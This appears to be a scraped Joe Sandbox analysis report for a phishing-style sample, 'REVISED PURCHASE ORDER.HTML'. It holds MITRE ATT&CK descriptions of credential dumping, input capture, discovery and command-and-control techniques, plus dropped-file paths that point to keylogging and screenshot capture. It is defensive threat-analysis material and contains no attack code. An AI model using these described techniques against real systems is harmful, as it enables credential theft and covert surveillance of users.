Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report REVISED PURCHASE ORDER.HTML

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Zip.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\asGTRKuvQ.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\update_232107.exe.log

C:\Users\user\AppData\Local\Temp\2023-02-21-07-45-40-screenshot.png

C:\Users\user\AppData\Local\Temp\2023-02-21-07-46-keylogs.txt

C:\Users\user\AppData\Local\Temp\2023-02-21-07-50-30-screenshot.png

C:\Users\user\AppData\Local\Temp\2023-02-21-07-51-keylogs.txt

C:\Users\user\AppData\Local\Temp\2023-02-21-07-55-39-screenshot.png

C:\Users\user\AppData\Local\Temp\2023-02-21-07-56-keylogs.txt

C:\Users\user\AppData\Local\Temp\2023-02-21-08-06-22-screenshot.png

C:\Users\user\AppData\Local\Temp\2023-02-21-08-06-23-screenshot.png

Windows Analysis Report
REVISED PURCHASE ORDER.HTML

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre